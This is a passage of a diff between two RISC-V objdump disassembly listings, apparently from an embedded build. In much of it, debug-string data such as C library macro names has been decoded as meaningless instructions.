-    4fb6:	4749                	li	a4,18
-    4fb8:	5f20                	lw	s0,120(a4)
-    4fba:	565f4353          	0x565f4353
-    4fbe:	504c5f37          	lui	t5,0x504c5
-    4fc2:	4942                	lw	s2,16(sp)
-    4fc4:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
-    4fc8:	4246                	lw	tp,80(sp)
-    4fca:	4749                	li	a4,18
-    4fcc:	5f00                	lw	s0,56(a4)
-    4fce:	5f535953          	0x5f535953
-    4fd2:	5954                	lw	a3,52(a0)
-    4fd4:	4550                	lw	a2,12(a0)
-    4fd6:	44465f53          	0x44465f53
-    4fda:	535f 5445 0020      	0x205445535f
-    4fe0:	515f 4155 5f44      	0x5f444155515f
-    4fe6:	4f4c                	lw	a1,28(a4)
-    4fe8:	524f5757          	0x524f5757
-    4fec:	2044                	fld	fs1,128(s0)
-    4fee:	0030                	addi	a2,sp,8
-    4ff0:	525f 4e41 3444      	0x34444e41525f
-    4ff6:	5f38                	lw	a4,120(a4)
-    4ff8:	554d                	li	a0,-13
-    4ffa:	544c                	lw	a1,44(s0)
-    4ffc:	305f 2820 7830      	0x78302820305f
-    5002:	3665                	jal	4baa <__stack_size+0x43aa>
-    5004:	6436                	flw	fs0,76(sp)
-    5006:	0029                	c.nop	10
-    5008:	544e4957          	0x544e4957
-    500c:	4d5f 4e49 5f00      	0x5f004e494d5f
-    5012:	4e49                	li	t3,18
-    5014:	3854                	fld	fa3,176(s0)
-    5016:	545f 445f 4345      	0x4345445f545f
-    501c:	414c                	lw	a1,4(a0)
-    501e:	4552                	lw	a0,20(sp)
-    5020:	2044                	fld	fs1,128(s0)
-    5022:	5f00                	lw	s0,56(a4)
-    5024:	4552                	lw	a0,20(sp)
-    5026:	4e45                	li	t3,17
-    5028:	5f54                	lw	a3,60(a4)
-    502a:	4d45                	li	s10,17
-    502c:	5245                	li	tp,-15
-    502e:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
-    5032:	2859                	jal	50c8 <__stack_size+0x48c8>
-    5034:	7470                	flw	fa2,108(s0)
-    5036:	2972                	fld	fs2,280(sp)
-    5038:	2820                	fld	fs0,80(s0)
-    503a:	7028                	flw	fa0,96(s0)
-    503c:	7274                	flw	fa3,100(a2)
-    503e:	2d29                	jal	5658 <__stack_size+0x4e58>
-    5040:	5f3e                	lw	t5,236(sp)
-    5042:	6d65                	lui	s10,0x19
-    5044:	7265                	lui	tp,0xffff9
-    5046:	636e6567          	0x636e6567
-    504a:	2979                	jal	54e8 <__stack_size+0x4ce8>
-    504c:	5f00                	lw	s0,56(a4)
-    504e:	495f 544e 3233      	0x3233544e495f
-    5054:	545f 5059 5f45      	0x5f455059545f
-    505a:	205f 6f6c 676e      	0x676e6f6c205f
-    5060:	6920                	flw	fs0,80(a0)
-    5062:	746e                	flw	fs0,248(sp)
-    5064:	5f00                	lw	s0,56(a4)
-    5066:	475f 554e 4c43      	0x4c43554e475f
-    506c:	4b49                	li	s6,18
-    506e:	5f45                	li	t5,-15
-    5070:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    5074:	535f 4345 4954      	0x49544345535f
-    507a:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
-    507e:	4e41                	li	t3,16
-    5080:	4c44                	lw	s1,28(s0)
-    5082:	4e49                	li	t3,18
-    5084:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
-    5088:	5f5f 4955 544e      	0x544e49555f5f
-    508e:	465f 5341 3854      	0x38545341465f
-    5094:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    509a:	3020                	fld	fs0,96(s0)
-    509c:	6678                	flw	fa4,76(a2)
-    509e:	6666                	flw	fa2,88(sp)
-    50a0:	6666                	flw	fa2,88(sp)
-    50a2:	6666                	flw	fa2,88(sp)
-    50a4:	5566                	lw	a0,120(sp)
-    50a6:	5f00                	lw	s0,56(a4)
-    50a8:	4552                	lw	a0,20(sp)
-    50aa:	4e45                	li	t3,17
-    50ac:	2054                	fld	fa3,128(s0)
-    50ae:	695f 706d 7275      	0x7275706d695f
-    50b4:	5f65                	li	t5,-7
-    50b6:	7470                	flw	fa2,108(s0)
-    50b8:	0072                	c.slli	zero,0x1c
-    50ba:	525f 4545 544e      	0x544e4545525f
-    50c0:	575f 5443 4d4f      	0x4d4f5443575f
-    50c6:	5f42                	lw	t5,48(sp)
-    50c8:	54415453          	0x54415453
-    50cc:	2845                	jal	517c <__stack_size+0x497c>
-    50ce:	7470                	flw	fa2,108(s0)
-    50d0:	2972                	fld	fs2,280(sp)
-    50d2:	2820                	fld	fs0,80(s0)
-    50d4:	7028                	flw	fa0,96(s0)
-    50d6:	7274                	flw	fa3,100(a2)
-    50d8:	2d29                	jal	56f2 <__stack_size+0x4ef2>
-    50da:	5f3e                	lw	t5,236(sp)
-    50dc:	656e                	flw	fa0,216(sp)
-    50de:	725f2e77          	0x725f2e77
-    50e2:	6565                	lui	a0,0x19
-    50e4:	746e                	flw	fs0,248(sp)
-    50e6:	5f2e                	lw	t5,232(sp)
-    50e8:	6f746377          	0x6f746377
-    50ec:	626d                	lui	tp,0x1b
-    50ee:	735f 6174 6574      	0x65746174735f
-    50f4:	0029                	c.nop	10
-    50f6:	5442                	lw	s0,48(sp)
-    50f8:	324e                	fld	ft4,240(sp)
-    50fa:	3320                	fld	fs0,96(a4)
-    50fc:	0031                	c.nop	12
-    50fe:	4e49                	li	t3,18
-    5100:	5f54                	lw	a3,60(a4)
-    5102:	4146                	lw	sp,80(sp)
-    5104:	36315453          	0x36315453
-    5108:	4d5f 4e49 2820      	0x28204e494d5f
-    510e:	492d                	li	s2,11
-    5110:	544e                	lw	s0,240(sp)
-    5112:	465f 5341 3154      	0x31545341465f
-    5118:	5f36                	lw	t5,108(sp)
-    511a:	414d                	li	sp,19
-    511c:	2058                	fld	fa4,128(s0)
-    511e:	202d                	jal	5148 <__stack_size+0x4948>
-    5120:	2931                	jal	553c <__stack_size+0x4d3c>
-    5122:	4300                	lw	s0,0(a4)
-    5124:	4d5f5253          	0x4d5f5253
-    5128:	4d49                	li	s10,18
-    512a:	4950                	lw	a2,20(a0)
-    512c:	2044                	fld	fs1,128(s0)
-    512e:	3131                	jal	4d3a <__stack_size+0x453a>
-    5130:	5f00                	lw	s0,56(a4)
-    5132:	6e5f 6565 5f64      	0x5f6465656e5f
-    5138:	554e                	lw	a0,240(sp)
-    513a:	4c4c                	lw	a1,28(s0)
-    513c:	6f00                	flw	fs0,24(a4)
-    513e:	6666                	flw	fa2,88(sp)
-    5140:	6f746573          	csrrsi	a0,0x6f7,8
-    5144:	2866                	fld	fa6,88(sp)
-    5146:	5954                	lw	a3,52(a0)
-    5148:	4550                	lw	a2,12(a0)
-    514a:	4d2c                	lw	a1,88(a0)
-    514c:	4d45                	li	s10,17
-    514e:	4542                	lw	a0,16(sp)
-    5150:	2952                	fld	fs2,272(sp)
-    5152:	5f20                	lw	s0,120(a4)
-    5154:	625f 6975 746c      	0x746c6975625f
-    515a:	6e69                	lui	t3,0x1a
-    515c:	6f5f 6666 6573      	0x657366666f5f
-    5162:	6f74                	flw	fa3,92(a4)
-    5164:	2066                	fld	ft0,88(sp)
-    5166:	5428                	lw	a0,104(s0)
-    5168:	5059                	c.li	zero,-10
-    516a:	2c45                	jal	541a <__stack_size+0x4c1a>
-    516c:	4d20                	lw	s0,88(a0)
-    516e:	4d45                	li	s10,17
-    5170:	4542                	lw	a0,16(sp)
-    5172:	2952                	fld	fs2,272(sp)
-    5174:	5000                	lw	s0,32(s0)
-    5176:	494c                	lw	a1,20(a0)
-    5178:	45585f43          	0x45585f43
-    517c:	414d                	li	sp,19
-    517e:	58525f43          	fmadd.s	ft10,ft4,ft5,fa1,unknown
-    5182:	535f 554f 4352      	0x4352554f535f
-    5188:	2045                	jal	5228 <__stack_size+0x4a28>
-    518a:	3132                	fld	ft2,296(sp)
-    518c:	4300                	lw	s0,0(a4)
-    518e:	4d5f5253          	0x4d5f5253
-    5192:	5049                	c.li	zero,-14
-    5194:	3720                	fld	fs0,104(a4)
-    5196:	5f00                	lw	s0,56(a4)
-    5198:	4c5f4353          	0x4c5f4353
-    519c:	5645                	li	a2,-15
-    519e:	4c45                	li	s8,17
-    51a0:	5f34                	lw	a3,120(a4)
-    51a2:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    51a6:	5f45                	li	t5,-15
-    51a8:	5341                	li	t1,-16
-    51aa:	20434f53          	0x20434f53
-    51ae:	3331                	jal	4eba <__stack_size+0x46ba>
-    51b0:	0038                	addi	a4,sp,8
-    51b2:	535f 5f43 5254      	0x52545f43535f
-    51b8:	4341                	li	t1,16
-    51ba:	5f45                	li	t5,-15
-    51bc:	5645                	li	a2,-15
-    51be:	4e45                	li	t3,17
-    51c0:	5f54                	lw	a3,60(a4)
-    51c2:	414e                	lw	sp,208(sp)
-    51c4:	454d                	li	a0,19
-    51c6:	4d5f 5841 3820      	0x382058414d5f
-    51cc:	0035                	c.nop	13
-    51ce:	5f5f 6164 6174      	0x617461645f5f
-    51d4:	7974                	flw	fa3,116(a0)
-    51d6:	6570                	flw	fa2,76(a0)
-    51d8:	745f 7079 5f65      	0x5f657079745f
-    51de:	6174                	flw	fa3,68(a0)
-    51e0:	696b2867          	0x696b2867
-    51e4:	646e                	flw	fs0,216(sp)
-    51e6:	742c                	flw	fa1,104(s0)
-    51e8:	7079                	c.lui	zero,0xffffe
-    51ea:	2965                	jal	56a2 <__stack_size+0x4ea2>
-    51ec:	0020                	addi	s0,sp,8
-    51ee:	5746                	lw	a4,112(sp)
-    51f0:	4952                	lw	s2,20(sp)
-    51f2:	4554                	lw	a3,12(a0)
-    51f4:	5f20                	lw	s0,120(a4)
-    51f6:	5746                	lw	a4,112(sp)
-    51f8:	4952                	lw	s2,20(sp)
-    51fa:	4554                	lw	a3,12(a0)
-    51fc:	5f00                	lw	s0,56(a4)
-    51fe:	4954                	lw	a3,20(a0)
-    5200:	454d                	li	a0,19
-    5202:	5f52                	lw	t5,52(sp)
-    5204:	5f54                	lw	a3,60(a4)
-    5206:	7520                	flw	fs0,104(a0)
-    5208:	736e                	flw	ft6,248(sp)
-    520a:	6769                	lui	a4,0x1a
-    520c:	656e                	flw	fa0,216(sp)
-    520e:	2064                	fld	fs1,192(s0)
-    5210:	6f6c                	flw	fa1,92(a4)
-    5212:	676e                	flw	fa4,216(sp)
-    5214:	4300                	lw	s0,0(a4)
-    5216:	4d5f5253          	0x4d5f5253
-    521a:	5654                	lw	a3,44(a2)
-    521c:	4c41                	li	s8,16
-    521e:	3620                	fld	fs0,104(a2)
-    5220:	5f00                	lw	s0,56(a4)
-    5222:	705f 6361 656b      	0x656b6361705f
-    5228:	2064                	fld	fs1,192(s0)
-    522a:	5f5f 7461 7274      	0x727474615f5f
-    5230:	6269                	lui	tp,0x1a
-    5232:	7475                	lui	s0,0xffffd
-    5234:	5f65                	li	t5,-7
-    5236:	285f 5f28 705f      	0x705f5f28285f
-    523c:	6361                	lui	t1,0x18
-    523e:	5f64656b          	0x5f64656b
-    5242:	295f 0029 5f5f      	0x5f5f0029295f
-    5248:	4544                	lw	s1,12(a0)
-    524a:	4f56                	lw	t5,84(sp)
-    524c:	414c                	lw	a1,4(a0)
-    524e:	4954                	lw	a3,20(a0)
-    5250:	454c                	lw	a1,12(a0)
-    5252:	7428                	flw	fa0,104(s0)
-    5254:	7079                	c.lui	zero,0xffffe
-    5256:	2c65                	jal	550e <__stack_size+0x4d0e>
-    5258:	6176                	flw	ft2,92(sp)
-    525a:	2972                	fld	fs2,280(sp)
-    525c:	2820                	fld	fs0,80(s0)
-    525e:	7428                	flw	fa0,104(s0)
-    5260:	7079                	c.lui	zero,0xffffe
-    5262:	2965                	jal	571a <__stack_size+0x4f1a>
-    5264:	5f28                	lw	a0,120(a4)
-    5266:	755f 6e69 7074      	0x70746e69755f
-    526c:	7274                	flw	fa3,100(a2)
-    526e:	745f 2829 6f76      	0x6f762829745f
-    5274:	616c                	flw	fa1,68(a0)
-    5276:	6974                	flw	fa3,84(a0)
-    5278:	656c                	flw	fa1,76(a0)
-    527a:	7620                	flw	fs0,104(a2)
-    527c:	2064696f          	jal	s2,4b482 <__stack_size+0x4ac82>
-    5280:	292a                	fld	fs2,136(sp)
-    5282:	7628                	flw	fa0,104(a2)
-    5284:	7261                	lui	tp,0xffff8
-    5286:	2929                	jal	56a0 <__stack_size+0x4ea0>
-    5288:	5f00                	lw	s0,56(a4)
-    528a:	545f4353          	0x545f4353
-    528e:	4e5a                	lw	t3,148(sp)
-    5290:	4d41                	li	s10,16
-    5292:	5f45                	li	t5,-15
-    5294:	414d                	li	sp,19
-    5296:	2058                	fld	fa4,128(s0)
-    5298:	3032                	fld	ft0,296(sp)
-    529a:	4300                	lw	s0,0(a4)
-    529c:	4148                	lw	a0,4(a0)
-    529e:	5f52                	lw	t5,52(sp)
-    52a0:	494d                	li	s2,19
-    52a2:	204e                	fld	ft0,208(sp)
-    52a4:	0030                	addi	a2,sp,8
-    52a6:	4e5f 5745 494c      	0x494c57454e5f
-    52ac:	5f42                	lw	t5,48(sp)
-    52ae:	4c41                	li	s8,16
-    52b0:	4f4c                	lw	a1,28(a4)
-    52b2:	485f4143          	fmadd.s	ft2,ft10,ft5,fs1,rmm
-    52b6:	0020                	addi	s0,sp,8
-    52b8:	535f 5f43 454d      	0x454d5f43535f
-    52be:	4c4d                	li	s8,19
-    52c0:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    52c4:	4152                	lw	sp,20(sp)
-    52c6:	474e                	lw	a4,208(sp)
-    52c8:	2045                	jal	5368 <__stack_size+0x4b68>
-    52ca:	3532                	fld	fa0,296(sp)
-    52cc:	5f00                	lw	s0,56(a4)
-    52ce:	535f 5041 2050      	0x20505041535f
-    52d4:	7830                	flw	fa2,112(s0)
-    52d6:	3130                	fld	fa2,96(a0)
-    52d8:	3030                	fld	fa2,96(s0)
-    52da:	5300                	lw	s0,32(a4)
-    52dc:	4749                	li	a4,18
-    52de:	415f 4f54 494d      	0x494d4f54415f
-    52e4:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    52e8:	004e                	c.slli	zero,0x13
-    52ea:	5f5f 696d 5f6e      	0x5f6e696d5f5f
-    52f0:	657a6973          	csrrsi	s2,0x657,20
-    52f4:	7828                	flw	fa0,112(s0)
-    52f6:	2029                	jal	5300 <__stack_size+0x4b00>
-    52f8:	74617473          	csrrci	s0,0x746,2
-    52fc:	6369                	lui	t1,0x1a
-    52fe:	2820                	fld	fs0,80(s0)
-    5300:	2978                	fld	fa4,208(a0)
-    5302:	5f00                	lw	s0,56(a4)
-    5304:	5f535953          	0x5f535953
-    5308:	545f 5059 5345      	0x53455059545f
-    530e:	485f 0020 525f      	0x525f0020485f
-    5314:	4e41                	li	t3,16
-    5316:	3444                	fld	fs1,168(s0)
-    5318:	5f38                	lw	a4,120(a4)
-    531a:	44454553          	0x44454553
-    531e:	325f 2820 7830      	0x78302820325f
-    5324:	3231                	jal	4c30 <__stack_size+0x4430>
-    5326:	00293433          	sltu	s0,s2,sp
-    532a:	5f5f 4553 5252      	0x525245535f5f
-    5330:	3020                	fld	fs0,96(s0)
-    5332:	3078                	fld	fa4,224(s0)
-    5334:	3430                	fld	fa2,104(s0)
-    5336:	0030                	addi	a2,sp,8
-    5338:	4d44                	lw	s1,28(a0)
-    533a:	5f41                	li	t5,-16
-    533c:	5249                	li	tp,-14
-    533e:	2051                	jal	53c2 <__stack_size+0x4bc2>
-    5340:	535f0033          	0x535f0033
-    5344:	454d5f43          	0x454d5f43
-    5348:	47415353          	0x47415353
-    534c:	5f45                	li	t5,-15
-    534e:	4150                	lw	a2,4(a0)
-    5350:	4e495353          	0x4e495353
-    5354:	37322047          	fmsub.q	ft0,ft4,fs3,ft6,rdn
-    5358:	5f00                	lw	s0,56(a4)
-    535a:	525f 5343 4449      	0x44495343525f
-    5360:	7328                	flw	fa0,96(a4)
-    5362:	2029                	jal	536c <__stack_size+0x4b6c>
-    5364:	75727473          	csrrci	s0,0x757,4
-    5368:	5f207463          	bgeu	zero,s2,5950 <__stack_size+0x5150>
-    536c:	685f 6361 006b      	0x6b6361685f
-    5372:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5378:	745f 7972 615f      	0x615f7972745f
-    537e:	69757163          	bgeu	a0,s7,5a00 <__stack_size+0x5200>
-    5382:	6572                	flw	fa0,28(sp)
-    5384:	6c28                	flw	fa0,88(s0)
-    5386:	296b636f          	jal	t1,bb61c <__stack_size+0xbae1c>
-    538a:	2820                	fld	fs0,80(s0)
-    538c:	7628                	flw	fa0,104(a2)
-    538e:	2964696f          	jal	s2,4b624 <__stack_size+0x4ae24>
-    5392:	3020                	fld	fs0,96(s0)
-    5394:	0029                	c.nop	10
-    5396:	5f5f 4e49 3354      	0x33544e495f5f
-    539c:	5f32                	lw	t5,44(sp)
-    539e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    53a2:	6320                	flw	fs0,64(a4)
-    53a4:	2320                	fld	fs0,64(a4)
-    53a6:	004c2023          	sw	tp,0(s8) # 1a000 <__stack_size+0x19800>
-    53aa:	5441                	li	s0,-16
-    53ac:	465f 4344 4457      	0x44574344465f
-    53b2:	2d20                	fld	fs0,88(a0)
-    53b4:	0032                	c.slli	zero,0xc
-    53b6:	5f5f 444c 4c42      	0x4c42444c5f5f
-    53bc:	4d5f 5841 315f      	0x315f58414d5f
-    53c2:	5f30                	lw	a2,120(a4)
-    53c4:	5845                	li	a6,-15
-    53c6:	5f50                	lw	a2,60(a4)
-    53c8:	205f 3934 3233      	0x32333934205f
-    53ce:	5f00                	lw	s0,56(a4)
-    53d0:	455f 444e 445f      	0x445f444e455f
-    53d6:	4345                	li	t1,17
-    53d8:	534c                	lw	a1,36(a4)
-    53da:	0020                	addi	s0,sp,8
-    53dc:	5f5f 695f 746e      	0x746e695f5f5f
-    53e2:	6c5f 6165 7473      	0x747361656c5f
-    53e8:	3436                	fld	fs0,360(sp)
-    53ea:	745f 645f 6665      	0x6665645f745f
-    53f0:	6e69                	lui	t3,0x1a
-    53f2:	6465                	lui	s0,0x19
-    53f4:	3120                	fld	fs0,96(a0)
-    53f6:	5f00                	lw	s0,56(a4)
-    53f8:	425f4353          	0x425f4353
-    53fc:	49445f43          	fmadd.s	ft10,fs0,fs4,fs1,unknown
-    5400:	5f4d                	li	t5,-13
-    5402:	414d                	li	sp,19
-    5404:	2058                	fld	fa4,128(s0)
-    5406:	3835                	jal	4c42 <__stack_size+0x4442>
-    5408:	4400                	lw	s0,8(s0)
-    540a:	414d                	li	sp,19
-    540c:	545f 5f52 5253      	0x52535f52545f
-    5412:	464f5f43          	fmadd.q	ft10,ft10,ft4,fs0,unknown
-    5416:	2046                	fld	ft0,80(sp)
-    5418:	7830                	flw	fa2,112(s0)
-    541a:	3834                	fld	fa3,112(s0)
-    541c:	5700                	lw	s0,40(a4)
-    541e:	4e49                	li	t3,18
-    5420:	5f54                	lw	a3,60(a4)
-    5422:	414d                	li	sp,19
-    5424:	2058                	fld	fa4,128(s0)
-    5426:	5f5f 4957 544e      	0x544e49575f5f
-    542c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    5432:	5f00                	lw	s0,56(a4)
-    5434:	475f 554e 4c43      	0x4c43554e475f
-    543a:	4b49                	li	s6,18
-    543c:	5f45                	li	t5,-15
-    543e:	5542                	lw	a0,48(sp)
-    5440:	4c49                	li	s8,18
-    5442:	4954                	lw	a3,20(a0)
-    5444:	5f4e                	lw	t5,240(sp)
-    5446:	41445453          	0x41445453
-    544a:	4752                	lw	a4,20(sp)
-    544c:	3120                	fld	fs0,96(a0)
-    544e:	5f00                	lw	s0,56(a4)
-    5450:	535f 424c 2046      	0x2046424c535f
-    5456:	7830                	flw	fa2,112(s0)
-    5458:	3030                	fld	fa2,96(s0)
-    545a:	3130                	fld	fa2,96(a0)
-    545c:	5000                	lw	s0,32(s0)
-    545e:	504d                	c.li	zero,-13
-    5460:	575f 3120 3c3c      	0x3c3c3120575f
-    5466:	0031                	c.nop	12
-    5468:	46495f53          	0x46495f53
-    546c:	4649                	li	a2,18
-    546e:	495f204f          	fnmadd.s	ft0,ft10,fs5,fs1,rdn
-    5472:	4946                	lw	s2,80(sp)
-    5474:	4f46                	lw	t5,80(sp)
-    5476:	4600                	lw	s0,8(a2)
-    5478:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    547c:	4d5f 5841 3220      	0x322058414d5f
-    5482:	0030                	addi	a2,sp,8
-    5484:	495f 4446 5249      	0x52494446495f
-    548a:	3020                	fld	fs0,96(s0)
-    548c:	3430                	fld	fa2,104(s0)
-    548e:	3030                	fld	fa2,96(s0)
-    5490:	3030                	fld	fa2,96(s0)
-    5492:	5f00                	lw	s0,56(a4)
-    5494:	49445453          	0x49445453
-    5498:	5f485f4f          	fnmadd.q	ft10,fa6,fs4,fa1,unknown
-    549c:	0020                	addi	s0,sp,8
-    549e:	5f5f 4c46 3154      	0x31544c465f5f
-    54a4:	3832                	fld	fa6,296(sp)
-    54a6:	455f 5350 4c49      	0x4c495350455f
-    54ac:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    54b0:	3120                	fld	fs0,96(a0)
-    54b2:	392e                	fld	fs2,232(sp)
-    54b4:	3532                	fld	fa0,296(sp)
-    54b6:	3239                	jal	4dc4 <__stack_size+0x45c4>
-    54b8:	3939                	jal	50d6 <__stack_size+0x48d6>
-    54ba:	3434                	fld	fa3,104(s0)
-    54bc:	32373833          	0x32373833
-    54c0:	35383533          	0x35383533
-    54c4:	35353033          	0x35353033
-    54c8:	3739                	jal	53d6 <__stack_size+0x4bd6>
-    54ca:	32343937          	lui	s2,0x32343
-    54ce:	3835                	jal	4d0a <__stack_size+0x450a>
-    54d0:	3934                	fld	fa3,112(a0)
-    54d2:	3732                	fld	fa4,296(sp)
-    54d4:	2d653233          	0x2d653233
-    54d8:	31463433          	0x31463433
-    54dc:	3832                	fld	fa6,296(sp)
-    54de:	5f00                	lw	s0,56(a4)
-    54e0:	4350                	lw	a2,4(a4)
-    54e2:	505f 5441 5f48      	0x5f485441505f
-    54e8:	414d                	li	sp,19
-    54ea:	2058                	fld	fa4,128(s0)
-    54ec:	0034                	addi	a3,sp,8
-    54ee:	6166                	flw	ft2,88(sp)
-    54f0:	705f7473          	csrrci	s0,0x705,30
-    54f4:	7475                	lui	s0,0xffffd
-    54f6:	2c782863          	0x2c782863
-    54fa:	2970                	fld	fa2,208(a0)
-    54fc:	2820                	fld	fs0,80(s0)
-    54fe:	2d2d                	jal	5b38 <__stack_size+0x5338>
-    5500:	7028                	flw	fa0,96(s0)
-    5502:	2d29                	jal	5b1c <__stack_size+0x531c>
-    5504:	5f3e                	lw	t5,236(sp)
-    5506:	203c2077          	0x203c2077
-    550a:	2030                	fld	fa2,64(s0)
-    550c:	5f5f203f 75627773 	0x756277735f5f203f
-    5514:	5f66                	lw	t5,120(sp)
-    5516:	2872                	fld	fa6,280(sp)
-    5518:	525f 4545 544e      	0x544e4545525f
-    551e:	202c                	fld	fa1,64(s0)
-    5520:	6928                	flw	fa0,80(a0)
-    5522:	746e                	flw	fs0,248(sp)
-    5524:	2829                	jal	553e <__stack_size+0x4d3e>
-    5526:	2978                	fld	fa4,208(a0)
-    5528:	202c                	fld	fa1,64(s0)
-    552a:	2970                	fld	fa2,208(a0)
-    552c:	3d20                	fld	fs0,120(a0)
-    552e:	203d                	jal	555c <__stack_size+0x4d5c>
-    5530:	4f45                	li	t5,17
-    5532:	2046                	fld	ft0,80(sp)
-    5534:	203a                	fld	ft0,392(sp)
-    5536:	2a28                	fld	fa0,80(a2)
-    5538:	7028                	flw	fa0,96(s0)
-    553a:	2d29                	jal	5b54 <__stack_size+0x5354>
-    553c:	5f3e                	lw	t5,236(sp)
-    553e:	2070                	fld	fa2,192(s0)
-    5540:	203d                	jal	556e <__stack_size+0x4d6e>
-    5542:	7828                	flw	fa0,112(s0)
-    5544:	2c29                	jal	575e <__stack_size+0x4f5e>
-    5546:	2820                	fld	fs0,80(s0)
-    5548:	2970                	fld	fa2,208(a0)
-    554a:	3e2d                	jal	5084 <__stack_size+0x4884>
-    554c:	705f 2b2b 202c      	0x202c2b2b705f
-    5552:	2930                	fld	fa2,80(a0)
-    5554:	0029                	c.nop	10
-    5556:	505f 5044 455f      	0x455f5044505f
-    555c:	444e                	lw	s0,208(sp)
-    555e:	4149                	li	sp,18
-    5560:	204e                	fld	ft0,208(sp)
-    5562:	32313433          	0x32313433
-    5566:	5f00                	lw	s0,56(a4)
-    5568:	445f 4c42 4e5f      	0x4e5f4c42445f
-    556e:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    5572:	414d                	li	sp,19
-    5574:	5f58                	lw	a4,60(a4)
-    5576:	205f 2828 6f64      	0x6f642828205f
-    557c:	6275                	lui	tp,0x1d
-    557e:	656c                	flw	fa1,76(a0)
-    5580:	3129                	jal	518a <__stack_size+0x498a>
-    5582:	372e                	fld	fa4,232(sp)
-    5584:	3739                	jal	5492 <__stack_size+0x4c92>
-    5586:	3936                	fld	fs2,360(sp)
-    5588:	34333133          	0x34333133
-    558c:	3638                	fld	fa4,104(a2)
-    558e:	3332                	fld	ft6,296(sp)
-    5590:	3531                	jal	539c <__stack_size+0x4b9c>
-    5592:	31383037          	lui	zero,0x31383
-    5596:	3534                	fld	fa3,104(a0)
-    5598:	3732                	fld	fa4,296(sp)
-    559a:	3234                	fld	fa3,96(a2)
-    559c:	31333733          	0x31333733
-    55a0:	33343037          	lui	zero,0x33343
-    55a4:	3735                	jal	54d0 <__stack_size+0x4cd0>
-    55a6:	2b65                	jal	5b5e <__stack_size+0x535e>
-    55a8:	4c383033          	0x4c383033
-    55ac:	0029                	c.nop	10
-    55ae:	72617473          	csrrci	s0,0x726,2
-    55b2:	0074                	addi	a3,sp,12
-    55b4:	5f5f 6973 657a      	0x657a69735f5f
-    55ba:	745f 5f5f 0020      	0x205f5f745f
-    55c0:	535f 5f43 4f4c      	0x4f4c5f43535f
-    55c6:	5f4e4947          	fmsub.q	fs2,ft8,fs4,fa1,rmm
-    55ca:	414e                	lw	sp,208(sp)
-    55cc:	454d                	li	a0,19
-    55ce:	4d5f 5841 3520      	0x352058414d5f
-    55d4:	0032                	c.slli	zero,0xc
-    55d6:	5f5f 5953 5f53      	0x5f5359535f5f
-    55dc:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
-    55e0:	4749                	li	a4,18
-    55e2:	485f 5f5f 0020      	0x205f5f485f
-    55e8:	465f 4f4e 4e49      	0x4e494f4e465f
-    55ee:	4548                	lw	a0,12(a0)
-    55f0:	4952                	lw	s2,20(sp)
-    55f2:	2054                	fld	fa3,128(s0)
-    55f4:	7830                	flw	fa2,112(s0)
-    55f6:	3034                	fld	fa3,96(s0)
-    55f8:	3030                	fld	fa2,96(s0)
-    55fa:	0030                	addi	a2,sp,8
-    55fc:	5f5f 7270 6465      	0x646572705f5f
-    5602:	6369                	lui	t1,0x1a
-    5604:	5f74                	lw	a3,124(a4)
-    5606:	6166                	flw	ft2,88(sp)
-    5608:	736c                	flw	fa1,100(a4)
-    560a:	2865                	jal	56c2 <__stack_size+0x4ec2>
-    560c:	7865                	lui	a6,0xffff9
-    560e:	2970                	fld	fa2,208(a0)
-    5610:	5f20                	lw	s0,120(a4)
-    5612:	625f 6975 746c      	0x746c6975625f
-    5618:	6e69                	lui	t3,0x1a
-    561a:	655f 7078 6365      	0x63657078655f
-    5620:	2874                	fld	fa3,208(s0)
-    5622:	6528                	flw	fa0,72(a0)
-    5624:	7078                	flw	fa4,100(s0)
-    5626:	2c29                	jal	5840 <__stack_size+0x5040>
-    5628:	3020                	fld	fs0,96(s0)
-    562a:	0029                	c.nop	10
-    562c:	5f5f 4953 455a      	0x455a49535f5f
-    5632:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    5638:	3020                	fld	fs0,96(s0)
-    563a:	6678                	flw	fa4,76(a2)
-    563c:	6666                	flw	fa2,88(sp)
-    563e:	6666                	flw	fa2,88(sp)
-    5640:	6666                	flw	fa2,88(sp)
-    5642:	5566                	lw	a0,120(sp)
-    5644:	4f00                	lw	s0,24(a4)
-    5646:	545f 5552 434e      	0x434e5552545f
-    564c:	5f20                	lw	s0,120(a4)
-    564e:	5446                	lw	s0,112(sp)
-    5650:	5552                	lw	a0,52(sp)
-    5652:	434e                	lw	t1,208(sp)
-    5654:	4900                	lw	s0,16(a0)
-    5656:	544e                	lw	s0,240(sp)
-    5658:	414d                	li	sp,19
-    565a:	5f58                	lw	a4,60(a4)
-    565c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5660:	5f20                	lw	s0,120(a4)
-    5662:	495f 544e 414d      	0x414d544e495f
-    5668:	5f58                	lw	a4,60(a4)
-    566a:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    4f48:	325f4353          	0x325f4353
+    4f4c:	505f 5342 415f      	0x415f5342505f
+    4f52:	554f4343          	0x554f4343
+    4f56:	544e                	lw	s0,240(sp)
+    4f58:	4e49                	li	t3,18
+    4f5a:	31312047          	fmsub.s	ft0,ft2,fs3,ft6,rdn
+    4f5e:	0034                	addi	a3,sp,8
+    4f60:	535f 5359 535f      	0x535f5359535f
+    4f66:	5a49                	li	s4,-14
+    4f68:	5f45                	li	t5,-15
+    4f6a:	5f54                	lw	a3,60(a4)
+    4f6c:	2048                	fld	fa0,128(s0)
+    4f6e:	5f00                	lw	s0,56(a4)
+    4f70:	495f 544e 414d      	0x414d544e495f
